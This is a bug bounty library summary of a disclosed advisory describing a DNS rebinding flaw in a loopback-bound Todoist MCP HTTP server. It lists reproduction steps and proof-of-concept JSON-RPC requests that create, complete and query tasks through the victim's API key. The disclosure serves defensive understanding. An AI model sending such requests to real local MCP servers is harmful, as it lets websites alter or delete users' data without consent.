# Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server

Todoist MCP HTTP server on loopback lacks Host/Origin validation, letting a malicious site DNS-rebind to it and create/complete tasks using the operator's API key.

- Payout: Research
- Severity: critical
- Program: Todoist MCP
- Found by: avishaigonen-pluto, yotampe-pluto
- Disclosed: 2026-11-19
- CVE: CVE-2026-76807
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-833v-v58w-294h
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-833v-v58w-294h
- Tags: area:ai domain:ai domain:web impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:recon vuln:access-control vuln:auth-bypass vuln:csrf vuln:misconfiguration

**Target:** todoist-mcp-http Streamable HTTP MCP endpoint (POST /mcp)
**Root cause:** The HTTP MCP route dispatches to StreamableHTTPServerTransport without validating Host or Origin, and the middleware only validates the server-side Todoist API token, not the browser caller.
**Steps:**
1. Start server: `TODOIST_API_KEY=<token> PORT=8082 HOST=127.0.0.1 node dist/main-http.js`
2. Use DNS rebinding to route attacker origin to `127.0.0.1:8082`
3. Enumerate tools via `POST /mcp` JSON-RPC `tools/list`
4. Call `user-info` with `{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"user-info","arguments":{}}}` to confirm account
5. Call `add-tasks` with `{"name":"add-tasks","arguments":{"tasks":[{"content":"DNS REBINDING DEMO - attacker-created task",...}]}}`
6. Call `complete-tasks` with `{"name":"complete-tasks","arguments":{"ids":["<RETURNED_TASK_ID>"]}}`
**How found:** Recognized that the documented HTTP mode binds to loopback by default and that the MCP route lacked Host/Origin validation, then reasoned that DNS rebinding defeats the loopback assumption since the browser preserves attacker origin while routing to 127.0.0.1.
**Exploitation:** A public website uses DNS rebinding so its own origin resolves to 127.0.0.1, preserving attacker Host/Origin while TCP connects to the victim's loopback MCP server. The browser sends JSON-RPC to POST /mcp; the server executes tools with its configured TODOIST_API_KEY, allowing task creation, completion, updates, deletion, comments, reminders, labels, filters, goals and assignments without any caller credential.
**Escalation:** Same browser-origin path exposes the entire registered Todoist write surface beyond the demonstrated add/complete, including delete-object and project/section changes.
**Insight:** Local MCP/HTTP servers bound to loopback are still browser-reachable via DNS rebinding; check whether the transport validates Host/Origin and whether auth is a server-side backend token rather than a per-caller secret.

## Proof of concept (copied exactly from the original report)

**MCP JSON-RPC add-tasks request creating a task**

```
{
  "jsonrpc": "2.0",
  "id": 4,
  "method": "tools/call",
  "params": {
    "name": "add-tasks",
    "arguments": {
      "tasks": [
        {
          "content": "DNS REBINDING DEMO - attacker-created task",
          "description": "Created through browser-origin DNS rebinding against local todoist-mcp-http.",
          "priority": "p1",
          "dueString": "today"
        }
      ]
    }
  }
}
```

**MCP JSON-RPC complete-tasks request**

```
{
  "jsonrpc": "2.0",
  "id": 5,
  "method": "tools/call",
  "params": {
    "name": "complete-tasks",
    "arguments": {
      "ids": [
        "<RETURNED_TASK_ID>"
      ]
    }
  }
}
```

**MCP JSON-RPC user-info request**

```
{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "user-info",
    "arguments": {}
  }
}
```

